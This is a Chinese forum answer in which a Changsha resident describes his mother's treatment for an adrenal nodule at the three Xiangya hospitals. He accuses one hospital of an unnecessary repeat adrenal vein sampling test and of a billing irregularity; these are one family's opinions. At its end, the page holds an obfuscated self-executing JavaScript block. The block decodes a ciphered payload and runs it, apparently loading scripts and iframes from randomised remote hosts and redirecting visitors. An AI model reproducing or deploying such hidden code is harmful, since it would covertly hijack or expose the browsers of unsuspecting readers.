推荐回答(1个)
湘雅附一、附二、与坑人的附三医院患者直观就诊感受分享
长沙本地人,从事医药行业,对医疗体系有些许了解;患者为自己母亲,五十多岁,就诊原因为高血压伴随低血钾。母亲高血压七年左右,最开始以为是外婆遗传的原发性高血压,看过门诊后一直坚持吃降压药;因为18年初体检发现血钾较低,人处于虚弱无力状态,且在陆续补钾几次后仍旧无法维持正常血钾值,所以就近选择湘雅附三医院问诊,当时挂的是心内科梁医生的号看诊,首先还是肯定,湘雅系医院医学水平高于湖南其他地方,母亲主诉高血压伴随低血钾的情况后,梁医生立即开住院通知,进入了心内科病室进行进一步检查,住院的过程就不多说了,总之一系列检查下来,确定右侧肾上腺有个结节,直径一厘米左右;左侧肾上腺有些许增生。原来病因是由于这个引起的,细致点说因为肾上腺的结节引起醛固酮分泌增多。接下来就是重点了,临床医生要求进一步确诊左右两边哪边引起的问题更严重,需要做avs检查,名称为肾上腺静脉采血,这个检查由于要求较高,我们也基于对医生信任,于是答应做;前期准备包括禁食,洗肠,平躺8小时以上等等,检查当天局部麻醉,母亲描述感觉良好,一根馆子从大腿股静脉穿入,伴随造影找到双侧肾上腺静脉血,抽取部分血液化验,大致就是如此。等结果出来时,却是左侧增生部分影响更大,检测值更高,右侧结节部分较低。家属谈话时间到了,主治医生说这个结果显示左侧有问题,右侧结节没什么问题,不过建议我们再做一次avs确诊一下,而且这次检查手术费可以免除,只收取材料费等(一次avs检查需要花费近万元,也是看账单才知道,医保报销之后还要自付几千块);因为与ct结果有冲突;我们将信将疑的去咨询主任医生,原来主任医生就是门诊的梁医生,梁医生却说这是主治医生稳妥谨慎,换作我就直接根据结果来做左边手术了。由于我们对俩医生不一样的观点犹豫不决,加上母亲从未做过任何手术,有些许担心,也由于快要农历新年,所以先办理了出院,过完年后再住院检查,这期间我也可以问问朋友咨询一下是否必须手术。在回家修养这段时间,确实经过询问,这种肾上腺结节引起典型的高血压伴随低血钾,手术基本上是唯一解决办法,于是在做通母亲工作后,农历年过完后入院接受第二次avs检查,如同主治医生说的,这次检查没有收取手术费,只是材料费等基础费用(也有好几千),而让我非常恼火的是,这次检查母亲感受完全不同!她首先觉得非常不舒服,而且检查时间长于第一次,期间还换过人来接手检查,更可气的是,大腿内侧扎了十几个针眼,大面积淤青。在检查时母亲几度告知非常难受,甚至怀疑麻药没打好等等,最后出来是哭着对我们说死也不再做这个检查了。对此我们很不解,去咨询主治医生,给到的无非官方答复:有这种可能,正常现象之类的。对于明显两次同样检查不同患者感受,我们也就忍了,更可气的是第二次结果居然与第一次也是反的,结果显示右侧结节是主要病因!这就使我们非常恼火了,不仅啪啪打脸主任医生,我们还怀疑第一次检查是否压根没有成功!才骗着我们做第二次。当然,这个所谓主任医生也没再出现过了,我们去主治医生那边询问两次结果为何相反,希望有个合理解释时,也无非就是搪塞了事,完全不想多说,我父亲发脾气跟他们理论,也只是说家属签了同意书的,检查有可能不成功这是正常,结果也有可能不准确,这都是提前告知了你们的。当然,对于医院这种万事签字优先,撇清所有责任的套路我们是很明白的。无奈与气愤之下,我选择出院,前往附一附二其他专家处咨询门诊。
接下来事情就简单多了,在附二咨询了内分泌苏医生,她的专业性确实让人感动,首先对比两次avs检查数值(出院诊断书都有写明),告知我们第一次检查数值明显低于正常值,不足以采纳,怀疑是取血未成功所致;第二次检查值确定为右侧肾上腺结节影响,而且通过ct检查结果与其一致,认为是右侧结节影响病情,建议手术治疗。听到这个结果我们更加确信自己猜测正确,湘雅附三医生着实第一次检查有误,哄着我们做了第二次。而后由于不放心,我又在附一挂号了内分泌齐教授的专家号,这次问诊有点失望,可能也是齐教授年纪大了,没看什么具体名堂,反而重新开了检查项目要求我们转到陈医生那边去看,典型的开诊疗费赚钱。明明做过的ct、b超、血检,附二苏医生没要求重新做,直接看结果,到了附一就要求重新搞一遍,难道这个结节还能跑到别的地方去不成?而且我在之前已经问过湘雅附一朋友,告知湘雅系医院检查结果互认,不需要重复检查。所以,他开了检查费后,我并没有去缴费检查,直接回家了。
经过这三次折腾,也多方咨询与自己求证,确定这个手术还是必须的,因此找朋友决定在湘雅附一排队住院,争取早点手术。最终在一个多星期等待后,湘雅附一泌尿外科有床位,通知入院。在附一折腾十余天后,右侧肾上腺结节手术完毕,术后第五天通知回家修养,事情告一段落。
这次的湘雅系之行,感受如题,原因是在最后附一住院时,同病室皆为母亲类似病症,肾上腺结节入院手术,而且通过沟通得知他们根本没有接受avs检查,ct确诊基本上就直接手术了。贴出丁香园发的帖子也可以佐证:http://endo.dxy.cn/article/498376
证明此类疾病很明显的症状表现,完全通过ct可以确诊手术。而我母亲无故遭受检查煎熬,高度怀疑附三医院过度医疗,拿着母亲练手,同时赚取高额检查费用,还失败一次忽悠着患者做二次检查。甚至从大腿针孔看,我怀疑第一次压根没怎么做就完事了,是不是故意都难说。总之让我对附三医院没什么好感。
加重我怀疑的事又来了,这回主角是岳母娘,岳母娘半个月前去附三看血脂高的情况,当时药房拿回5个药,也没多想没留收费单据,其中包含步长脑心通,这次半月后复查因为她记得是拿了5个药,就是想不起来还有个步长脑心通,而医生说她只开了四种,而且医生电脑里面有处方记录就是4种,确实岳母娘看了电脑是4种,这次在药房拿到的也是4种,回家一看才晓得是少了步长脑心通,我给她算了一下价格,这步长脑心通是当时收了钱的,却不在医生电脑处方记录里面。这就真的是匪夷所思了,按照我从业的了解推测,可能几种情况:一是药房故意为之,擅自修改医生处方加相关药物给患者,由于医院电子处方流程,并未事先知晓药品种类数量,这里就得医院药房有权限修改医生处方(处方权是肯定只有医生有资格,药房执业药师是复核或者驳回,不存在还能增加药品的权限),涉及系统权限等多方面问题;二是医生故意加的我们在系统里看不到,可能分两张单据开的,属于医生增加销售收入;三是最恶心的,这个药品压根没有在医院系统循环,采取体外循环方式来卖给患者,这就算是最严重的事情了,除了医院管理混乱,涉及的违法违规更多,不赘述了。
总之,这几次的感受,让我对湘雅附三充满不信任,失望至极,也进一步对中国医患关系的缓解担忧,不知何年何月得偿所望了。(深叹一口气)
建议大家都能看看这个书,写得很中肯。


!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();